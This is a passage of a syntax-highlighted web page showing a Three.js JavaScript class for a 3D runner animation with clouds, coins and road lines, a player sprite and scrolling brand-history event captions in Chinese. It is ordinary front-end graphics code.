class="line">447</span><br><span class="line">448</span><br><span class="line">449</span><br><span class="line">450</span><br><span class="line">451</span><br><span class="line">452</span><br><span class="line">453</span><br><span class="line">454</span><br><span class="line">455</span><br><span class="line">456</span><br><span class="line">457</span><br><span class="line">458</span><br><span class="line">459</span><br><span class="line">460</span><br><span class="line">461</span><br><span class="line">462</span><br><span class="line">463</span><br><span class="line">464</span><br><span class="line">465</span><br><span class="line">466</span><br><span class="line">467</span><br><span class="line">468</span><br><span class="line">469</span><br><span class="line">470</span><br><span class="line">471</span><br><span class="line">472</span><br><span class="line">473</span><br><span class="line">474</span><br><span class="line">475</span><br><span class="line">476</span><br><span class="line">477</span><br><span class="line">478</span><br><span class="line">479</span><br><span class="line">480</span><br><span class="line">481</span><br><span class="line">482</span><br><span class="line">483</span><br><span class="line">484</span><br><span class="line">485</span><br><span class="line">486</span><br><span class="line">487</span><br><span class="line">488</span><br><span class="line">489</span><br><span class="line">490</span><br><span class="line">491</span><br><span class="line">492</span><br><span class="line">493</span><br><span class="line">494</span><br><span class="line">495</span><br><span class="line">496</span><br><span class="line">497</span><br><span class="line">498</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> * <span class="keyword">as</span> THREE <span class="keyword">from</span> <span class="string">'three'</span></span><br><span class="line"><span class="keyword">import</span> TextSprite <span class="keyword">from</span> <span class="string">'@seregpie/three.text-sprite'</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> {</span><br><span class="line"> Ground,</span><br><span class="line"> Moca,</span><br><span class="line"> Mountain,</span><br><span class="line"> Money,</span><br><span class="line"> Roadline,</span><br><span class="line"> Cloud,</span><br><span class="line"> Bush,</span><br><span class="line"> BigEvent</span><br><span class="line">} <span class="keyword">from</span> <span class="string">'./Object.js'</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">ThreeAnimate</span> </span>{</span><br><span class="line"> <span class="keyword">constructor</span>(clothes) {</span><br><span class="line"> <span class="comment">// scene 场景</span></span><br><span class="line"> <span class="comment">// windowHeight 高度</span></span><br><span class="line"> <span class="comment">// windowWidth 宽度</span></span><br><span class="line"> <span class="keyword">this</span>.scene = <span class="literal">null</span></span><br><span class="line"> <span class="keyword">this</span>.windowHeight = <span class="built_in">window</span>.innerHeight</span><br><span class="line"> <span class="keyword">this</span>.windowWidth = <span class="built_in">window</span>.innerWidth</span><br><span class="line"> <span class="keyword">this</span>.aspectRatio = <span class="keyword">this</span>.windowWidth / <span class="keyword">this</span>.windowHeight</span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.fieldOfView = <span class="number">94</span></span><br><span class="line"> <span class="keyword">this</span>.near = <span class="number">0.1</span></span><br><span class="line"> <span class="keyword">this</span>.far = <span class="number">500</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.camera = <span class="literal">null</span></span><br><span class="line"> <span class="keyword">this</span>.container = <span class="literal">null</span></span><br><span class="line"> <span class="keyword">this</span>.renderer = <span class="literal">null</span></span><br><span class="line"> <span class="keyword">this</span>.player = <span class="literal">null</span></span><br><span class="line"> <span class="keyword">this</span>.ground = <span class="literal">null</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.clouds = []</span><br><span class="line"> <span class="keyword">this</span>.bushes = []</span><br><span class="line"> <span class="keyword">this</span>.roadlines = []</span><br><span class="line"> <span class="keyword">this</span>.golds = []</span><br><span class="line"> <span class="keyword">this</span>.mocas = []</span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.delta = <span class="number">0.1</span></span><br><span class="line"> <span class="keyword">this</span>.speed = <span class="number">15</span></span><br><span class="line"> <span class="keyword">this</span>.sound = <span class="literal">null</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">// 颜色</span></span><br><span class="line"> <span class="keyword">this</span>.Colors = {</span><br><span class="line"> grayBackground: <span class="number">0xF9F9F9</span>,</span><br><span class="line"> mainGround: <span class="number">0xA9A9A9</span>,</span><br><span class="line"> grey: <span class="number">0xD3D3D3</span>,</span><br><span class="line"> white: <span class="number">0xffffff</span>,</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.events = [</span><br><span class="line"> <span class="string">'1966 世界第一款定制鞋发售'</span>,</span><br><span class="line"> <span class="string">'1976 滑手不二之选'</span>,</span><br><span class="line"> <span class="string">'1977 爵士条纹'</span>,</span><br><span class="line"> <span class="string">'1978 专业级脚踝保护'</span>,</span><br><span class="line"> <span class="string">'1995 极限运动音乐节'</span>,</span><br><span class="line"> <span class="string">'1997 三冠王系列赛事'</span>,</span><br><span class="line"> <span class="string">'1998 滑板公园'</span>,</span><br><span class="line"> <span class="string">'2003 滑板队首次巡演'</span>,</span><br><span class="line"> <span class="string">'2005 街头滑板对抗赛'</span>,</span><br><span class="line"> <span class="string">'2011 🎬冲浪电影'</span>,</span><br><span class="line"> <span class="string">'2015 🎬滑板电影'</span>,</span><br><span class="line"> <span class="string">'2019 联名腾讯《智零创造营》'</span></span><br><span class="line"> ]</span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.bigEvent = <span class="literal">null</span></span><br><span class="line"> <span class="keyword">this</span>.bigEventText = <span class="literal">null</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.curEventId = <span class="number">0</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.clothes = clothes + <span class="number">1</span></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> createScene() {</span><br><span class="line"> <span class="comment">// 创建场景</span></span><br><span class="line"> <span class="keyword">this</span>.scene = <span class="keyword">new</span> THREE.Scene()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="comment">// 给场景添加雾化效果</span></span><br><span class="line"> <span class="keyword">this</span>.scene.fog = <span class="keyword">new</span> THREE.Fog(<span class="keyword">this</span>.Colors.grayBackground, <span class="keyword">this</span>.near, <span class="keyword">this</span>.far - <span class="number">150</span>)</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 创建透视相机</span></span><br><span class="line"> <span class="keyword">this</span>.camera = <span class="keyword">new</span> THREE.PerspectiveCamera(</span><br><span class="line"> <span class="keyword">this</span>.fieldOfView,</span><br><span class="line"> <span class="keyword">this</span>.aspectRatio,</span><br><span class="line"> <span class="keyword">this</span>.near,</span><br><span class="line"> <span class="keyword">this</span>.far</span><br><span class="line"> )</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 设置相机的位置</span></span><br><span class="line"> <span class="keyword">this</span>.camera.position.x = <span class="number">0</span></span><br><span class="line"> <span class="keyword">this</span>.camera.position.z = <span class="number">14</span></span><br><span class="line"> <span class="keyword">this</span>.camera.position.y = <span class="number">10</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">// 设置渲染器, 开启反锯齿,设置背景透明</span></span><br><span class="line"> <span class="keyword">this</span>.renderer = <span class="keyword">new</span> THREE.WebGLRenderer({</span><br><span class="line"> alpha: <span class="literal">true</span>,</span><br><span class="line"> antialias: <span class="literal">true</span></span><br><span class="line"> })</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 设置渲染器的宽度和高度</span></span><br><span class="line"> <span class="keyword">this</span>.renderer.setSize(<span class="keyword">this</span>.windowWidth, <span class="keyword">this</span>.windowHeight)</span><br><span class="line"> <span class="keyword">this</span>.renderer.setClearColor(<span class="keyword">this</span>.Colors.white, <span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 开启阴影效果</span></span><br><span class="line"> <span class="keyword">this</span>.renderer.shadowMap.enabled = <span class="literal">true</span></span><br><span class="line"> <span class="keyword">this</span>.renderer.shadowMap.type = THREE.PCFSoftShadowMap</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 将渲染器添加至dom节点</span></span><br><span class="line"> <span class="keyword">this</span>.container = <span class="built_in">document</span>.getElementById(<span class="string">'initdom'</span>)</span><br><span class="line"> <span class="keyword">this</span>.container.appendChild(<span class="keyword">this</span>.renderer.domElement)</span><br><span class="line"></span><br><span class="line"> <span class="comment">// resize 后更新 renderer 等</span></span><br><span class="line"> <span class="built_in">window</span>.addEventListener(<span class="string">'resize'</span>, <span class="keyword">this</span>.handleWindowResize, <span class="literal">false</span>)</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 处理浏览器缩放情况</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> handleWindowResize() {</span><br><span class="line"> <span class="keyword">this</span>.windowHeight = <span class="built_in">window</span>.innerHeight</span><br><span class="line"> <span class="keyword">this</span>.windowWidth = <span class="built_in">window</span>.innerWidth</span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.aspectRatio = <span class="keyword">this</span>.windowWidth / <span class="keyword">this</span>.windowHeight</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">this</span>.renderer) {</span><br><span class="line"> <span class="keyword">this</span>.renderer.setSize(<span class="keyword">this</span>.windowWidth, <span class="keyword">this</span>.windowHeight)</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.camera.aspect = <span class="keyword">this</span>.windowWidth / <span class="keyword">this</span>.windowHeight</span><br><span class="line"> <span class="keyword">this</span>.camera.updateProjectionMatrix()</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 创建的灯光</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> createLights() {</span><br><span class="line"> <span class="keyword">let</span> ambientLight = <span class="keyword">new</span> THREE.AmbientLight(<span class="number">0xffffff</span>, <span class="number">0.2</span>)</span><br><span class="line"> ambientLight.position.set(<span class="number">20</span>, <span class="number">80</span>, <span class="number">20</span>)</span><br><span class="line"></span><br><span class="line"> <span class="comment">// groundColor 从地面发出的光线颜色</span></span><br><span class="line"> <span class="comment">// Color 从天空发出的光线颜色</span></span><br><span class="line"> <span class="keyword">let</span> hemiLight = <span class="keyword">new</span> THREE.HemisphereLight(<span class="number">0xDCDCDC</span>, <span class="number">0xffffff</span>, <span class="number">1</span>)</span><br><span class="line"> hemiLight.position.y = <span class="number">30</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.scene.add(hemiLight)</span><br><span class="line"> <span class="keyword">this</span>.scene.add(ambientLight)</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 创建摩擦</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> createMocas() {</span><br><span class="line"> <span class="keyword">let</span> m1 = <span class="keyword">new</span> Moca([<span class="number">1</span>, <span class="number">4</span>, <span class="number">-4</span>, <span class="number">2</span>, <span class="number">2</span>])</span><br><span class="line"> <span class="keyword">this</span>.mocas.push(m1)</span><br><span class="line"> <span class="keyword">this</span>.scene.add(m1.moca)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">let</span> m2 = <span class="keyword">new</span> Moca([<span class="number">2</span>, <span class="number">3</span>, <span class="number">-2</span>, <span class="number">1</span>, <span class="number">1</span>])</span><br><span class="line"> <span class="keyword">this</span>.mocas.push(m2)</span><br><span class="line"> <span class="keyword">this</span>.scene.add(m2.moca)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">let</span> m3 = <span class="keyword">new</span> Moca([<span class="number">3</span>, <span class="number">-2</span>, <span class="number">-6</span>, <span class="number">21</span>/<span class="number">80</span>, <span class="number">135</span>/<span class="number">80</span>])</span><br><span class="line"> <span class="keyword">this</span>.mocas.push(m3)</span><br><span class="line"> <span class="keyword">this</span>.scene.add(m3.moca)</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 创建地面</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> createGround() {</span><br><span class="line"> <span class="keyword">this</span>.ground = <span class="keyword">new</span> Ground()</span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.ground.mesh.position.y = <span class="number">-1.5</span></span><br><span class="line"> <span class="keyword">this</span>.ground.mesh.position.z = <span class="number">-50</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.scene.add(<span class="keyword">this</span>.ground.mesh)</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 创建山</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> createMountain() {</span><br><span class="line"> <span class="keyword">var</span> m = <span class="keyword">new</span> Mountain()</span><br><span class="line"></span><br><span class="line"> <span class="keyword">let</span> mountain = m.mountain</span><br><span class="line"></span><br><span class="line"> mountain.position.z = <span class="number">-220</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.scene.add(mountain)</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 部署云</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> placeClouds() {</span><br><span class="line"> <span class="keyword">var</span> nCloud = <span class="number">7</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">var</span> i = <span class="number">0</span>; i < nCloud; i++) {</span><br><span class="line"> <span class="keyword">var</span> c = <span class="keyword">new</span> Cloud(<span class="number">4</span>);</span><br><span class="line"></span><br><span class="line"> c.cloud.position.z = (<span class="built_in">Math</span>.random() * <span class="number">300</span>) - <span class="number">150</span></span><br><span class="line"> c.cloud.position.x = (<span class="built_in">Math</span>.random() * <span class="number">200</span>) - <span class="number">100</span></span><br><span class="line"> c.cloud.position.y = (<span class="built_in">Math</span>.random() * <span class="number">10</span>) + <span class="number">20</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.clouds.push(c)</span><br><span class="line"> <span class="keyword">this</span>.scene.add(c.cloud)</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 部署草丛</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> placeBush() {</span><br><span class="line"> <span class="keyword">var</span> nBushes = <span class="number">10</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">var</span> i = <span class="number">0</span>; i < nBushes; i++) {</span><br><span class="line"> <span class="keyword">var</span> b = <span class="keyword">new</span> Bush(<span class="number">4</span>);</span><br><span class="line"></span><br><span class="line"> b.bush.position.z = (<span class="built_in">Math</span>.random() * <span class="number">300</span>) - <span class="number">200</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">Math</span>.floor(<span class="built_in">Math</span>.random() * <span class="number">2</span>) + <span class="number">1</span> == <span class="number">1</span>) {</span><br><span class="line"> b.bush.position.x = <span class="built_in">Math</span>.floor(<span class="built_in">Math</span>.random() * <span class="number">80</span>) + <span class="number">1</span> - <span class="number">160</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> b.bush.position.x = <span class="built_in">Math</span>.floor(<span class="built_in">Math</span>.random() * <span class="number">80</span>) + <span class="number">1</span> + <span class="number">40</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> b.bush.position.y = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.bushes.push(b)</span><br><span class="line"> <span class="keyword">this</span>.scene.add(b.bush)</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 部署金币</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> placeGolds() {</span><br><span class="line"> <span class="keyword">var</span> nMoney = <span class="number">7</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">var</span> i = <span class="number">0</span>; i < nMoney; i++) {</span><br><span class="line"> <span class="keyword">var</span> m = <span class="keyword">new</span> Money()</span><br><span class="line"></span><br><span class="line"> m.money.position.z = (<span class="built_in">Math</span>.random() * <span class="number">300</span> - <span class="number">120</span>)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.golds.push(m)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.scene.add(m.money)</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 部署路线</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> placeRoadLines() {</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">var</span> i = <span class="number">0</span>; i < <span class="number">6</span>; i++) {</span><br><span class="line"> <span class="keyword">var</span> l = <span class="keyword">new</span> Roadline()</span><br><span class="line"> l.line.position.y = <span class="number">-1.49</span></span><br><span class="line"> l.line.position.x = <span class="number">0</span>;</span><br><span class="line"> l.line.position.z = <span class="number">0</span></span><br><span class="line"> <span class="keyword">this</span>.roadlines.push(l)</span><br><span class="line"> <span class="keyword">this</span>.scene.add(l.line)</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">var</span> previouslinepos = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">var</span> i = <span class="number">0</span>; i < <span class="keyword">this</span>.roadlines.length; i++) {</span><br><span class="line"> <span class="keyword">this</span>.roadlines[i].line.position.z = previouslinepos - <span class="number">25</span>;</span><br><span class="line"> previouslinepos = <span class="keyword">this</span>.roadlines[i].line.position.z;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 放大事件,这里需要放置图片和文字两个内容</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> placeBigEvent() {</span><br><span class="line"> <span class="keyword">let</span> random = <span class="number">-239</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">var</span> e = <span class="keyword">new</span> BigEvent()</span><br><span class="line"></span><br><span class="line"> e.event.position.z = random</span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.bigEvent = e</span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.scene.add(e.event)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">let</span> sprite = <span class="keyword">new</span> TextSprite({</span><br><span class="line"> fillStyle: <span class="string">'#D51E20'</span>,</span><br><span class="line"> align: <span class="string">'center'</span>,</span><br><span class="line"> fontFamily: <span class="string">'FZLanTingHei-HN-GBK'</span>,</span><br><span class="line"> fontSize: <span class="number">1.5</span>,</span><br><span class="line"> fontStyle: <span class="string">'normal'</span>,</span><br><span class="line"> fontVariant: <span class="string">'normal'</span>,</span><br><span class="line"> fontWeight: <span class="string">'normal'</span>,</span><br><span class="line"> text: <span class="keyword">this</span>.events[<span class="keyword">this</span>.curEventId]</span><br><span class="line"> })</span><br><span class="line"></span><br><span class="line"> sprite.position.z = random</span><br><span class="line"> sprite.position.y = <span class="number">7.5</span></span><br><span class="line"> <span class="keyword">this</span>.bigEventText = sprite</span><br><span class="line"> <span class="keyword">this</span>.scene.add(sprite)</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 重新部署全部内容</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> replaceEverything() {</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">var</span> i = <span class="number">0</span>; i < <span class="keyword">this</span>.clouds.length; i++) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">this</span>.clouds[i].cloud.position.x > <span class="number">150</span>) {</span><br><span class="line"> <span class="keyword">this</span>.clouds[i].cloud.position.x = <span class="number">-100</span></span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">this</span>.clouds[i].cloud.position.z > <span class="number">50</span>) {</span><br><span class="line"> <span class="keyword">this</span>.clouds[i].cloud.position.z = <span class="number">-200</span></span><br><span class="line"> <span class="keyword">this</span>.clouds[i].cloud.position.x = (<span class="built_in">Math</span>.random() * <span class="number">300</span>) - <span class="number">150</span></span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">var</span> i = <span class="number">0</span>; i < <span class="keyword">this</span>.roadlines.length; i++) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">this</span>.roadlines[i].line.position.z > <span class="number">30</span>) {</span><br><span class="line"> <span class="keyword">this</span>.roadlines[i].line.position.z = <span class="number">-130</span></span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">var</span> i = <span class="number">0</span>; i < <span class="keyword">this</span>.bushes.length; i++) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">this</span>.bushes[i].bush.position.z > <span class="number">50</span>) {</span><br><span class="line"> <span class="keyword">this</span>.bushes[i].bush.position.z = <span class="number">-235</span>;</span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">Math</span>.floor(<span class="built_in">Math</span>.random() * <span class="number">2</span>) + <span class="number">1</span> == <span class="number">1</span>) {</span><br><span class="line"> <span class="keyword">this</span>.bushes[i].bush.position.x = <span class="built_in">Math</span>.floor(<span class="built_in">Math</span>.random() * <span class="number">160</span>) + <span class="number">1</span> - <span class="number">170</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">this</span>.bushes[i].bush.position.x = <span class="built_in">Math</span>.floor(<span class="built_in">Math</span>.random() * <span class="number">160</span>) + <span class="number">1</span> + <span class="number">40</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">var</span> i = <span class="number">0</span>; i < <span class="keyword">this</span>.golds.length; i++) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">this</span>.golds[i].money.position.z > <span class="number">70</span>) {</span><br><span class="line"> <span class="keyword">this</span>.golds[i].money.position.z = <span class="number">-160</span></span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">this</span>.curEventId !== <span class="number">11</span>) {</span><br><span class="line"> <span class="comment">// 重新摆放大事件的位置</span></span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">this</span>.bigEvent.event.position.z > <span class="number">130</span>) {</span><br><span class="line"> <span class="keyword">this</span>.bigEvent.event.position.z = <span class="number">-236</span></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 重新摆放大事件的名称位置</span></span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">this</span>.bigEventText.position.z > <span class="number">130</span>) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">this</span>.curEventId < <span class="keyword">this</span>.events.length - <span class="number">1</span>) {</span><br><span class="line"> <span class="keyword">this</span>.curEventId++</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.bigEventText.position.z = <span class="number">-236</span></span><br><span class="line"> <span class="keyword">this</span>.bigEventText.text = <span class="keyword">this</span>.events[<span class="keyword">this</span>.curEventId];</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 移动物体</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> moveEverything() {</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">var</span> i = <span class="number">0</span>; i < <span class="keyword">this</span>.clouds.length; i++) {</span><br><span class="line"> <span class="keyword">this</span>.clouds[i].cloud.position.z += <span class="keyword">this</span>.delta * <span class="keyword">this</span>.speed / <span class="number">3</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">var</span> i = <span class="number">0</span>; i < <span class="keyword">this</span>.roadlines.length; i++) {</span><br><span class="line"> <span class="keyword">this</span>.roadlines[i].line.position.z += <span class="keyword">this</span>.delta * <span class="keyword">this</span>.speed;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">//Move Bushes</span></span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">var</span> i = <span class="number">0</span>; i < <span class="keyword">this</span>.bushes.length; i++) {</span><br><span class="line"> <span class="keyword">this</span>.bushes[i].bush.position.z += <span class="keyword">this</span>.delta * <span class="keyword">this</span>.speed;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">//Move BigEvents</span></span><br><span class="line"> <span class="keyword">this</span>.bigEvent.event.position.z += <span class="keyword">this</span>.delta * <span class="keyword">this</span>.speed / <span class="number">2</span>;</span><br><span class="line"> <span class="keyword">this</span>.bigEventText.position.z += <span class="keyword">this</span>.delta * <span class="keyword">this</span>.speed / <span class="number">2</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">this</span>.bigEvent.event.position.z > <span class="number">-10</span>) {</span><br><span class="line"> <span class="keyword">this</span>.bigEvent.event.position.z = <span class="number">500</span></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">this</span>.bigEventText.position.z > <span class="number">-10</span>) {</span><br><span class="line"> <span class="keyword">this</span>.bigEventText.position.z = <span class="number">500</span></span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 循环</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> loop() {</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">this</span>.renderer) {</span><br><span class="line"> <span class="keyword">this</span>.replaceEverything()</span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.moveEverything()</span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.renderer.render(<span class="keyword">this</span>.scene, <span class="keyword">this</span>.camera)</span><br><span class="line"></span><br><span class="line"> requestAnimationFrame(<span class="keyword">this</span>.loop.bind(<span class="keyword">this</span>))</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 创建玩家</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> createPlayer() {</span><br><span class="line"> <span class="keyword">var</span> map = <span class="keyword">new</span> THREE.TextureLoader().load(<span class="built_in">require</span>(<span class="string">"../../ui/images/img_player_run"</span> + <span class="keyword">this</span>.clothes + <span class="string">".png"</span>))</span><br><span class="line"> <span class="keyword">var</span> material = <span class="keyword">new</span> THREE.SpriteMaterial({</span><br><span class="line"> map,</span><br><span class="line"> depthTest: <span class="literal">false</span></span><br><span class="line"> })</span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.player = <span class="keyword">new</span> THREE.Sprite(material)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.player.scale.set(<span class="number">426</span> / <span class="number">70</span>, <span class="number">729</span> / <span class="number">70</span>)</span><br><span class="line"> <span class="keyword">this</span>.player.material.map.needsUpdate = <span class="literal">true</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.scene.add(<span class="keyword">this</span>.player)</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 玩家摔倒动画</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> playerFallDown() {</span><br><span class="line"> <span class="keyword">if</span> (!<span class="keyword">this</span>.player) {</span><br><span class="line"> <span class="keyword">return</span></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.player.material.map = THREE.ImageUtils.loadTexture(<span class="built_in">require</span>(<span class="string">"../../ui/images/img_player_falldown"</span> +<span class="keyword">this</span>.clothes+ <span class="string">".png"</span>))</span><br><span class="line"> <span class="keyword">this</span>.player.scale.set(<span class="number">748</span>/<span class="number">70</span>, <span class="number">563</span> / <span class="number">70</span>)</span><br><span class="line"></span><br><span class="line"> setTimeout(<span class="function"><span class="params">()</span> =></span> {</span><br><span class="line"> <span class="keyword">this</span>.playerRun()</span><br><span class="line"> }, <span class="number">1000</span>)</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 玩家重新开始比赛</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> playerRun() {</span><br><span class="line"> <span class="keyword">this</span>.player.material.map = THREE.ImageUtils.loadTexture(<span class="built_in">require</span>(<span class="string">"../../ui/images/img_player_run"</span> + <span class="keyword">this</span>.clothes + <span class="string">".png"</span>))</span><br><span class="line"> <span class="keyword">this</span>.player.scale.set(<span class="number">426</span>/<span class="number">70</span>, <span class="number">729</span> / <span class="number">70</span>)</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 创建音效</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> createAudio() {</span><br><span class="line"> <span class="keyword">let</span> listener = <span class="keyword">new</span> THREE.AudioListener()</span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.camera.add(listener)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.sound = <span class="keyword">new</span> THREE.Audio(listener)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">let</span> audioLoader = <span class="keyword">new</span> THREE.AudioLoader()</span><br><span class="line"></span><br><span class="line"> audioLoader.load( <span class="built_in">require</span>(<span class="string">"../sounds/3m_luora.wav"</span>), buffer => {</span><br><span class="line"> <span class="keyword">this</span>.sound.setBuffer(buffer)</span><br><span class="line"> <span 